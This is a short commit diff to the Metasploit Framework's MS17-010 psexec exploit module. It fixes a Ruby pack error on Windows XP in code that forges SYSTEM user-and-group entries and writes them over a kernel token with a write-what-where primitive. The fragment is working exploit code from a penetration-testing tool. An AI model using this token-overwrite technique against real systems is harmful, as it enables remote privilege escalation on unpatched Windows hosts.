fix pack error for xp

Author: zerosum0x0

lib/msf/core/exploit/smb/client/psexec_ms17_010.rb

@@ -129,7 +129,7 @@ def modify_token()
       fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(userAndGroupCount, userAndGroupsAddr)
       if fakeUserAndGroupCount != userAndGroupCount
         #write_data(conn, info, tokenAddr+info['TOKEN_USER_GROUP_CNT_OFFSET'], pack('<I', fakeUserAndGroupCount))
-        write_what_where(fakeUserAndGroupCount.pack("V"), tokenAddr+@ctx['TOKEN_USER_GROUP_CNT_OFFSET'])
+        write_what_where([fakeUserAndGroupCount].pack("V"), tokenAddr+@ctx['TOKEN_USER_GROUP_CNT_OFFSET'])
       end
       #write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
       write_what_where(fakeUserAndGroups, userAndGroupsAddr)